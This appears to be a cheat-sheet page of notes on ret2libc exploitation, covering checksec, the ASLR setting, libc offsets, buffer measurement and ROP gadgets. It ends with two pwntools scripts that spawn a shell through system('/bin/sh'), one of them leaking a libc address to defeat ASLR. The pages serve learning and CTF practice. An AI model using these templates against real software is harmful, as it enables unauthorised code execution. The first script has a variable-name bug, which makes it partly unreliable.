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<div class="column column-3">
<ul>
<li><a href="#ret2libc">Ret2libc</a><ul>
<li><a href="#finding-something-to-execute">Finding something to execute</a></li>
<li><a href="#libc-finding-offsets">libc -- Finding Offsets</a><ul>
<li><a href="#manually">Manually</a></li>
<li><a href="#measure-the-buffer">Measure the Buffer</a></li>
</ul>
</li>
<li><a href="#rop-creating-a-chain">ROP -- Creating a Chain</a><ul>
<li><a href="#manually_1">Manually</a></li>
</ul>
</li>
<li><a href="#automated">Automated</a></li>
<li><a href="#example-without-aslr">Example without ASLR</a></li>
<li><a href="#example-with-aslr">Example with ASLR</a></li>
</ul>
</li>
</ul>
</div>
<h1 id="ret2libc">Ret2libc</h1>
<ul>
<li>
<p><a href="https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/ret2libc">ir0nstone ret2libc</a></p>
</li>
<li>
<p>Check binary via</p>
<ul>
<li><code>checksec</code>, PIE shows start address, RELRO shows permissions of r/w to got</li>
<li><code>file</code></li>
</ul>
</li>
<li>Libc is affected by ASLR state of the machine, check via <code>cat /proc/sys/kernel/randomize_va_space</code><ul>
<li>Off = 0</li>
<li>Partial = 1</li>
<li>Full = 2</li>
</ul>
</li>
<li><code>got</code> contains dynamically loaded functions</li>
<li><code>plt</code> contains used loaded dynamical functions</li>
</ul>
<h2 id="finding-something-to-execute">Finding something to execute</h2>
<ul>
<li>Interesting stuff to call from inside libc<ul>
<li><code>/bin/sh</code></li>
<li><code>system</code></li>
</ul>
</li>
</ul>
<h2 id="libc-finding-offsets">libc -- Finding Offsets</h2>
<ul>
<li>Find libc address at runtime via gbd</li>
</ul>
<div class="codehilite"><pre><span></span><code>info sharedlibrary
</code></pre></div>
<h3 id="manually">Manually</h3>
<ul>
<li>On target find <code>sh</code> address inside libc</li>
</ul>
<div class="codehilite"><pre><span></span><code>strings -a -t x /lib32/libc.so.6 <span class="p">|</span> grep /bin/sh
</code></pre></div>
<ul>
<li>Sub from <code>system</code> address from inside libc</li>
</ul>
<div class="codehilite"><pre><span></span><code>readelf -s /lib32/libc.so.6 <span class="p">|</span> grep system
</code></pre></div>
<h3 id="measure-the-buffer">Measure the Buffer</h3>
<ul>
<li>With gef<ul>
<li><code>pattern create</code></li>
<li><code>run</code></li>
<li>Use pattern</li>
<li><code>pattern search $&lt;register&gt;</code></li>
</ul>
</li>
</ul>
<h2 id="rop-creating-a-chain">ROP -- Creating a Chain</h2>
<ul>
<li>Creating a ROP chain to execute the <code>/bin/sh</code> with parameters</li>
<li>Check<ul>
<li>Architecture</li>
<li>Calling convention</li>
</ul>
</li>
</ul>
<h3 id="manually_1">Manually</h3>
<div class="codehilite"><pre><span></span><code>ROPgadget --binary &lt;file&gt; <span class="p">|</span> grep rdi
</code></pre></div>
<ul>
<li>Find <code>ret</code>s, to put in front of rdi</li>
</ul>
<div class="codehilite"><pre><span></span><code>objdump -d &lt;file&gt; <span class="p">|</span> grep ret
</code></pre></div>
<h2 id="automated">Automated</h2>
<ul>
<li><a href="https://github.com/xct/ropstar.git">xct's ropstar</a></li>
</ul>
<h2 id="example-without-aslr">Example without ASLR</h2>
<div class="codehilite"><pre><span></span><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="s1">&#39;&lt;binary&gt;&#39;</span><span class="p">)</span>
<span class="n">cbase</span> <span class="o">=</span> <span class="mi">0</span><span class="n">x</span><span class="o">&lt;</span><span class="n">libc_base</span><span class="o">&gt;</span>
<span class="n">sys</span> <span class="o">=</span> <span class="n">cbase</span> <span class="o">+</span> <span class="o">&lt;</span><span class="n">libc_system</span><span class="o">&gt;</span>
<span class="n">sh</span> <span class="o">=</span> <span class="n">cbase</span> <span class="o">+</span> <span class="o">&lt;</span><span class="n">libc_shell</span><span class="o">&gt;</span>
<span class="n">rop_rdi</span> <span class="o">=</span> <span class="o">&lt;</span><span class="n">found</span> <span class="n">rop</span> <span class="n">rdi</span><span class="o">&gt;</span>
<span class="n">rop_ret</span> <span class="o">=</span> <span class="o">&lt;</span><span class="n">found</span> <span class="n">rop</span> <span class="n">ret</span><span class="o">&gt;</span>
<span class="n">payload</span> <span class="o">=</span> <span class="sa">b</span><span class="s1">&#39;A&#39;</span> <span class="o">*</span> <span class="o">&lt;</span><span class="n">count</span><span class="o">&gt;</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="sa">b</span><span class="s1">&#39;B&#39;</span> <span class="o">*</span> <span class="mi">8</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">rop_ret</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">rop_rdi</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">sh</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">system</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x0</span><span class="p">)</span> <span class="c1"># end payload</span>
<span class="n">p</span><span class="o">.</span><span class="n">recv</span><span class="p">()</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div>
<h2 id="example-with-aslr">Example with ASLR</h2>
<ul>
<li>Create context</li>
</ul>
<div class="codehilite"><pre><span></span><code><span class="ch">#!/usr/bin/env python3</span>
<span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">context</span><span class="o">.</span><span class="n">binary</span> <span class="o">=</span> <span class="n">binary</span> <span class="o">=</span> <span class="s1">&#39;&lt;binary&gt;&#39;</span>
<span class="n">elf</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="n">binary</span><span class="p">)</span>
<span class="n">rop</span> <span class="o">=</span> <span class="n">ROP</span><span class="p">(</span><span class="n">elf</span><span class="p">)</span>
<span class="n">libc</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s1">&#39;/lib/x86_64-linux-gnu/libc.so.6&#39;</span><span class="p">)</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">()</span>
<span class="c1"># ROP I, needed when ASL is enabled</span>
<span class="n">payload</span> <span class="o">=</span> <span class="sa">b</span><span class="s1">&#39;A&#39;</span> <span class="o">*</span> <span class="mi">18</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">rop</span><span class="o">.</span><span class="n">find_gadget</span><span class="p">([</span><span class="s1">&#39;pop rdi&#39;</span><span class="p">,</span> <span class="s1">&#39;ret&#39;</span><span class="p">])[</span><span class="mi">0</span><span class="p">])</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">elf</span><span class="o">.</span><span class="n">got</span><span class="o">.</span><span class="n">gets</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">elf</span><span class="o">.</span><span class="n">plt</span><span class="o">.</span><span class="n">puts</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">elf</span><span class="o">.</span><span class="n">symbols</span><span class="o">.</span><span class="n">main</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="n">leak</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">p</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span><span class="o">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span><span class="sa">b</span><span class="s1">&#39;</span><span class="se">\0</span><span class="s1">&#39;</span><span class="p">))</span> <span class="c1"># ljust, pre padding for alignement</span>
<span class="n">p</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="sa">f</span><span class="s2">&quot;gets: </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">leak</span><span class="p">)</span><span class="si">}</span><span class="s2">&quot;</span><span class="p">)</span>
<span class="n">libc</span><span class="o">.</span><span class="n">address</span> <span class="o">=</span> <span class="n">leak</span> <span class="o">-</span> <span class="n">libc</span><span class="o">.</span><span class="n">symbols</span><span class="o">.</span><span class="n">gets</span>
<span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="sa">f</span><span class="s2">&quot;libc address: </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">libc</span><span class="o">.</span><span class="n">address</span><span class="p">)</span><span class="si">}</span><span class="s2">&quot;</span><span class="p">)</span> <span class="c1"># start address should be aligned</span>
<span class="c1"># ROP II</span>
<span class="n">payload</span> <span class="o">=</span> <span class="sa">b</span><span class="s1">&#39;A&#39;</span> <span class="o">*</span> <span class="mi">18</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">rop</span><span class="o">.</span><span class="n">find_gadget</span><span class="p">([</span><span class="s1">&#39;pop rdi&#39;</span><span class="p">,</span> <span class="s1">&#39;ret&#39;</span><span class="p">])[</span><span class="mi">0</span><span class="p">])</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="nb">next</span><span class="p">(</span><span class="n">libc</span><span class="o">.</span><span class="n">search</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;/bin/sh&#39;</span><span class="p">)))</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">rop</span><span class="o">.</span><span class="n">find_gadget</span><span class="p">([</span><span class="s1">&#39;ret&#39;</span><span class="p">])[</span><span class="mi">0</span><span class="p">])</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">libc</span><span class="o">.</span><span class="n">symbols</span><span class="o">.</span><span class="n">system</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="n">p</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div>
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